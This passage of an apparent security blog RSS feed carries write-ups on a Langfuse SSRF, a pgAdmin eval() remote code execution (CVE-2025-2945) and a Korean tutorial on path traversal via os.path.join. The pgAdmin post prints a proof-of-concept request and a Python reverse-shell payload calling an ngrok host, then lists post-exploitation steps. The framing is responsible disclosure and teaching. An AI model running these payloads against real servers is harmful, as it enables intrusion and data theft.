      <guid isPermaLink="true">https://py0zz1.tistory.com/202</guid>
      <comments>https://py0zz1.tistory.com/entry/Remote-Code-Execution-in-pgAdmin-for-Windows-CVE-2025-12763#entry202comment</comments>
      <pubDate>Wed, 19 Nov 2025 00:10:12 +0900</pubDate>
    </item>
    <item>
      <title>Langfuse Server Side Request Forgery(SSRF)</title>
      <link>https://py0zz1.tistory.com/entry/Langfuse-Server-Side-Request-ForgerySSRF</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/langfuse/langfuse&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/langfuse/langfuse&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1756572115376&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - langfuse/langfuse:   Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, pla&quot; data-og-description=&quot;  Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, playground, datasets. Integrates with OpenTelemetry, Langchain, OpenAI SDK, LiteLLM, and more.  YC W23 ...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/langfuse/langfuse&quot; data-og-url=&quot;https://github.com/langfuse/langfuse&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hUW9M/hyZDSPdfwM/kCNgOJdgddoLWlab35QkV0/img.png?width=3000&amp;amp;height=1500&amp;amp;face=0_0_3000_1500,https://scrap.kakaocdn.net/dn/bEYitr/hyZG5F7TCw/R2QAY3c6B45JY9UlU8kjjk/img.png?width=3000&amp;amp;height=1500&amp;amp;face=0_0_3000_1500&quot;&gt;&lt;a href=&quot;https://github.com/langfuse/langfuse&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/langfuse/langfuse&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hUW9M/hyZDSPdfwM/kCNgOJdgddoLWlab35QkV0/img.png?width=3000&amp;amp;height=1500&amp;amp;face=0_0_3000_1500,https://scrap.kakaocdn.net/dn/bEYitr/hyZG5F7TCw/R2QAY3c6B45JY9UlU8kjjk/img.png?width=3000&amp;amp;height=1500&amp;amp;face=0_0_3000_1500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - langfuse/langfuse:   Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, pla&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;  Open source LLM engineering platform: LLM Observability, metrics, evals, prompt management, playground, datasets. Integrates with OpenTelemetry, Langchain, OpenAI SDK, LiteLLM, and more.  YC W23 ...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;Patched&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/langfuse/langfuse/pull/8821&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/langfuse/langfuse/pull/8821&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1756572220912&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;chore: validate IP adresses by maxdeichmann &amp;middot; Pull Request #8821 &amp;middot; langfuse/langfuse&quot; data-og-description=&quot;ImportantAdds IP address validation to prevent SSRF attacks, integrates it into webhook processing, and includes comprehensive tests. Behavior: Adds IP address validation to prevent SSRF attacks ...&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/langfuse/langfuse/pull/8821&quot; data-og-url=&quot;https://github.com/langfuse/langfuse/pull/8821&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/KYjYK/hyZF9vm1Tu/JRWCNbtdTYKqSayK35RccK/img.png?width=1200&amp;amp;height=600&amp;amp;face=991_110_1062_188,https://scrap.kakaocdn.net/dn/bzo4pt/hyZDT8p6c0/9WPM7HKMcKXrMXji5LT2nK/img.png?width=1200&amp;amp;height=600&amp;amp;face=991_110_1062_188&quot;&gt;&lt;a href=&quot;https://github.com/langfuse/langfuse/pull/8821&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/langfuse/langfuse/pull/8821&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/KYjYK/hyZF9vm1Tu/JRWCNbtdTYKqSayK35RccK/img.png?width=1200&amp;amp;height=600&amp;amp;face=991_110_1062_188,https://scrap.kakaocdn.net/dn/bzo4pt/hyZDT8p6c0/9WPM7HKMcKXrMXji5LT2nK/img.png?width=1200&amp;amp;height=600&amp;amp;face=991_110_1062_188');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;chore: validate IP adresses by maxdeichmann &amp;middot; Pull Request #8821 &amp;middot; langfuse/langfuse&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;ImportantAdds IP address validation to prevent SSRF attacks, integrates it into webhook processing, and includes comprehensive tests. Behavior: Adds IP address validation to prevent SSRF attacks ...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;360&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ci8iis/btsQc1PjtQJ/kwHeZFFufXfnVyAijpwOzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ci8iis/btsQc1PjtQJ/kwHeZFFufXfnVyAijpwOzk/img.png&quot; data-alt=&quot;https://langfuse.com/security/responsible-disclosure#hall-of-fame&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ci8iis/btsQc1PjtQJ/kwHeZFFufXfnVyAijpwOzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fci8iis%2FbtsQc1PjtQJ%2FkwHeZFFufXfnVyAijpwOzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;854&quot; height=&quot;360&quot; data-origin-width=&quot;854&quot; data-origin-height=&quot;360&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://langfuse.com/security/responsible-disclosure#hall-of-fame&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <category>langfuse</category>
      <category>SSRF</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/201</guid>
      <comments>https://py0zz1.tistory.com/entry/Langfuse-Server-Side-Request-ForgerySSRF#entry201comment</comments>
      <pubDate>Sun, 31 Aug 2025 01:44:51 +0900</pubDate>
    </item>
    <item>
      <title>Remote Code Execution Vulnerability in pgAdmin (CVE-2025-2945)</title>
      <link>https://py0zz1.tistory.com/entry/Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945</link>
      <description>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This post provides a technical explanation of a Remote Code Execution (RCE) vulnerability discovered in pgAdmin (&amp;le;9.1), a widely used administration tool for PostgreSQL databases.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To exploit this vulnerability, an authenticated user must be able to send a POST request to the pgAdmin server.&lt;br /&gt;The vulnerability exists in two separate features &amp;mdash; &lt;code&gt;/sqleditor/query_tool/download&amp;lt;/int:trans_id&amp;gt;&lt;/code&gt; and &lt;code&gt;/cloud/deploy&lt;/code&gt; &amp;mdash; both of which lead to RCE through the use of the &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;The &lt;code&gt;eval()&lt;/code&gt; function is a dangerous function that interprets the string argument as an expression and executes it as is. (&lt;a href=&quot;https://www.w3schools.com/python/ref_func_eval.asp&quot;&gt;Reference&lt;/a&gt;)&lt;/i&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Vulnerability Details&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The vulnerability arises from untrusted input being passed directly to the &lt;code&gt;eval()&lt;/code&gt; function without any validation or sanitization.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;/sqleditor/query_tool/download/&amp;lt;int:trans_id&amp;gt;&lt;/h3&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160

@blueprint.route(
    '/query_tool/download/&amp;lt;int:trans_id&amp;gt;',
    methods=[&quot;POST&quot;],
    endpoint='query_tool_download'
)
@pga_login_required
def start_query_download_tool(trans_id):
    (status, error_msg, sync_conn, trans_obj,
     session_obj) = check_transaction_status(trans_id)

    if not status or sync_conn is None or trans_obj is None or \
            session_obj is None:
        return internal_server_error(
            errormsg=TRANSACTION_STATUS_CHECK_FAILED
        )

    data = request.values if request.values else request.get_json(silent=True)
    if data is None:
        return make_json_response(
            status=410,
            success=0,
            errormsg=gettext(
                &quot;Could not find the required parameter (query).&quot;
            )
        )

    try:
        sql = None
        query_commited = data.get('query_commited', False)
        # Iterate through CombinedMultiDict to find query.
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
                    eval(value) if isinstance(value, str) else value # vuln code
                )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the case of &lt;code&gt;/sqleditor/query_tool/download/{int:trans_id}&lt;/code&gt;, the vulnerable code shows that if the value received via the &lt;code&gt;query_committed&lt;/code&gt; parameter is of type &lt;code&gt;str&lt;/code&gt;, it is directly passed into the &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;
&lt;pre class=&quot;http&quot;&gt;&lt;code&gt;POST /sqleditor/query_tool/download/9907078 HTTP/1.1
Host: localhost:8088
Content-Type: application/json

{
    &quot;query&quot;: &quot;SELECT 1;&quot;,
    &quot;query_commited&quot;: &quot;open('/tmp/pyozzi-poc', 'w')&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2413&quot; data-origin-height=&quot;728&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4CVHj/btsNakwr8h5/M58JAeR3TpZOks1tnZPEe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4CVHj/btsNakwr8h5/M58JAeR3TpZOks1tnZPEe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4CVHj/btsNakwr8h5/M58JAeR3TpZOks1tnZPEe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4CVHj%2FbtsNakwr8h5%2FM58JAeR3TpZOks1tnZPEe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2413&quot; height=&quot;728&quot; data-origin-width=&quot;2413&quot; data-origin-height=&quot;728&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As a result, an attacker can execute arbitrary Python code by sending a crafted POST request to the vulnerable endpoint.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;/cloud/deploy&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140

def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
        high_availability = \
            'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code

        db_password = self._database_password \
            if self._database_password is not None else args.db_password

        ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
        authorized_networks = self.get_authorized_network_list(ip)

        database_instance_body = {
            'databaseVersion': args.db_version,
            'instanceType': 'CLOUD_SQL_INSTANCE',
            'project': args.project,
            'name': args.name,
            'region': args.region,
            'gceZone': args.availability_zone,
            'secondaryGceZone': args.secondary_availability_zone,
            &quot;rootPassword&quot;: db_password,
            'settings': {
                'tier': args.instance_type,
                'availabilityType': high_availability,
                'dataDiskType': args.storage_type,
                'dataDiskSizeGb': args.storage_size,
                'ipConfiguration': {
                    &quot;authorizedNetworks&quot;: authorized_networks,
                    'ipv4Enabled': True
                },
            }
        }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;At the &lt;code&gt;/cloud/deploy endpoint&lt;/code&gt;, the vulnerability occurs when the &lt;code&gt;high_availability&lt;/code&gt; parameter is passed directly to the &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;An attacker can gain a reverse shell by supplying the following input:&lt;/p&gt;
&lt;pre class=&quot;tcl&quot;&gt;&lt;code&gt;exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;0.tcp.jp.ngrok.io&quot;,17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])')&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/V2WzCmRct7s?si=_xmP2lay2fWNlKPd&amp;amp;amp&quot; width=&quot;800&quot; height=&quot;315&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Once the reverse shell is established, the attacker gains access to all server resources with the privileges of the pgAdmin process.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;From there, the attacker can carry out further exploitation through scenarios such as the following:&lt;/p&gt;
&lt;pre class=&quot;html xml&quot; data-ke-language=&quot;html&quot;&gt;&lt;code&gt;1. Database Access &amp;amp; Manipulation
The attacker can access, modify, or exfiltrate sensitive data stored in PostgreSQL databases managed by pgAdmin.

2. Lateral Movement
With access to the server, the attacker may scan the internal network to find and compromise other systems.

3. Credential Theft
Configuration files and environment variables may contain hardcoded credentials, API keys, or tokens that can be extracted and reused.

4. Privilege Escalation
If the pgAdmin process is running with elevated privileges, the attacker may exploit local vulnerabilities to escalate privileges to root.

5. Persistence
The attacker can install backdoors, create scheduled tasks, or modify startup scripts to maintain long-term access.&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Remediation&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In the patched version 9.2, the vulnerability was addressed by removing the use of the &lt;code&gt;eval()&lt;/code&gt; function.&lt;br /&gt;&lt;a href=&quot;https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c&quot;&gt;https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;patch diff&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;757&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/N6dlf/btsNaNZjuFH/jkKNod3athbWKBNNmnzEwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/N6dlf/btsNaNZjuFH/jkKNod3athbWKBNNmnzEwK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/N6dlf/btsNaNZjuFH/jkKNod3athbWKBNNmnzEwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FN6dlf%2FbtsNaNZjuFH%2FjkKNod3athbWKBNNmnzEwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;886&quot; height=&quot;757&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;757&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Personally, when I discovered the vulnerability, I couldn't help but wonder &amp;mdash; &quot;Why would they use eval() here...?&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Because as you can see from the code, the business logic could have been fully implemented without using eval() at all.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I reported the issue to &lt;code&gt;security@pgadmin.org&lt;/code&gt;, recommending that the business logic be implemented without relying on the &lt;code&gt;eval()&lt;/code&gt; function.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The pgAdmin team responded quickly &amp;mdash; they reviewed the report and released a patch for the vulnerability in under 24 hours. :)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Disclosure Timeline&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[16 Mar 2025]:&lt;br /&gt;vulnerability report sent via email to &lt;a href=&quot;mailto:security@pgadmin.org&quot;&gt;security@pgadmin.org&lt;/a&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[17 Mar 2025]:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[PGAdmin Team] Acknowledges the vulnerability&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[18 Mar 2025]:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[PGAdmin Team] Announced that the patch is complete and will be included in the next release.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[27 Mar 2025]:&lt;br /&gt;[PGAdmin Team] Opens an issue on GitHub. &lt;a href=&quot;https://github.com/pgadmin-org/pgadmin4/issues/8603&quot;&gt;https://github.com/pgadmin-org/pgadmin4/issues/8603&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[3 Apr 2025]:&lt;br /&gt;[PGAdmin Team] releases new update with the fix. &lt;a href=&quot;https://www.pgadmin.org/docs/pgadmin4/9.2/release_notes_9_2.html&quot;&gt;https://www.pgadmin.org/docs/pgadmin4/9.2/release_notes_9_2.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[PGAdmin Team] CVE-2025-2945 was published for this vulnerability&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2025-2945&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2025-2945&lt;/a&gt;&lt;/p&gt;</description>
      <category>Bug Bounty</category>
      <category>cve-2025-2945</category>
      <category>PgAdmin</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/199</guid>
      <comments>https://py0zz1.tistory.com/entry/Remote-Code-Execution-Vulnerability-in-pgAdmin-CVE-2025-2945#entry199comment</comments>
      <pubDate>Fri, 4 Apr 2025 18:19:35 +0900</pubDate>
    </item>
    <item>
      <title>잘못된 os.path.join() 사용으로 인한 취약점</title>
      <link>https://py0zz1.tistory.com/entry/%EC%9E%98%EB%AA%BB%EB%90%9C-ospathjoin-%EC%82%AC%EC%9A%A9%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%95%9C-%EC%B7%A8%EC%95%BD%EC%A0%90</link>
      <description>&lt;h1&gt;1. os.path.join()&lt;/h1&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import os

BASE_DIR = &quot;/tmp/&quot;
SUB_DIR = &quot;sub_path&quot;

full_path = os.path.join(BASE_DIR, SUB_DIR) 
print(full_path) # /tmp/sub_path&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.python.org/3/library/os.path.html#os.path.join&quot;&gt;https://docs.python.org/3/library/os.path.html#os.path.join&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;os.path.join(path, *paths)&lt;/code&gt; 인자 구성을 가진 함수로, 첫번째 인자의 path를 기준으로 그 다음 인자로 오는 path를 concat해주는 함수다.&lt;br /&gt;단순히 문자열을 이어붙여주는 것이 아니라 os 해석에 맞게 normalize 해준다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import os

BASE_DIR = &quot;/tmp&quot;
SUB_DIR = &quot;../etc/passwd&quot;

full_path = os.path.join(BASE_DIR, SUB_DIR)
print(full_path) # /etc/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;../&lt;/code&gt;와 같이 상위 디렉토리로 이동하는 문자열을 입력하면 결과로 상위 디렉터리로 이동된 결과가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에, os.path.join()을 검증없이 사용하는 경우 path traversal 취약점이 발생하게 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;2. abs_path + abs_path = ??&lt;/h1&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;import os

BASE_DIR = &quot;/tmp/&quot;
SUB_DIR = &quot;/etc/passwd&quot;

full_path = os.path.join(BASE_DIR, SUB_DIR) 
print(full_path) # ???&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 위와 같이 BASE_DIR, SUB_DIR 모두 절대경로로 지정하면 결과는 어떻게 될까?&lt;br /&gt;단순 concat으로만 알고 있다면, &lt;code&gt;/tmp//etc/passwd&lt;/code&gt;정도로만 유추할 수 있을 것이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;실행 결과&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGzHXT/btsMJK46fOt/v6WzgwpI8V7UTmz4o00yf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGzHXT/btsMJK46fOt/v6WzgwpI8V7UTmz4o00yf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGzHXT/btsMJK46fOt/v6WzgwpI8V7UTmz4o00yf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGzHXT%2FbtsMJK46fOt%2Fv6WzgwpI8V7UTmz4o00yf0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1448&quot; height=&quot;256&quot; data-origin-width=&quot;1448&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 실행해보면 결과는 &lt;code&gt;/etc/passwd&lt;/code&gt;로 &lt;b&gt;SUB_DIR&lt;/b&gt;이 &lt;b&gt;BASE_DIR&lt;/b&gt;을 덮어쓰게 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;os.path.join() docs&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnQCvP/btsMNdYDGhp/otYH2g2BKtIxjufWjqu5g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnQCvP/btsMNdYDGhp/otYH2g2BKtIxjufWjqu5g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnQCvP/btsMNdYDGhp/otYH2g2BKtIxjufWjqu5g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnQCvP%2FbtsMNdYDGhp%2FotYH2g2BKtIxjufWjqu5g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1630&quot; height=&quot;344&quot; data-origin-width=&quot;1630&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;code&gt;세그먼트가 절대경로일 경우, 이전 세그먼트는 모두 무시되고 해당 세그먼트부터 경로가 이어집니다.&lt;/code&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에서도 살펴보면 절대 경로인 경우 이전 경로는 무시된다고 기술되어 있다.&lt;/p&gt;</description>
      <category>Web</category>
      <author>pyozzi</author>
      <guid isPermaLink="true">https://py0zz1.tistory.com/196</guid>
      <comments>https://py0zz1.tistory.com/entry/%EC%9E%98%EB%AA%BB%EB%90%9C-ospathjoin-%EC%82%AC%EC%9A%A9%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%95%9C-%EC%B7%A8%EC%95%BD%EC%A0%90#entry196comment</comments>
      <pubDate>Mon, 17 Mar 2025 01:10:07 +0900</pubDate>
    </item>
  </channel>
</rss>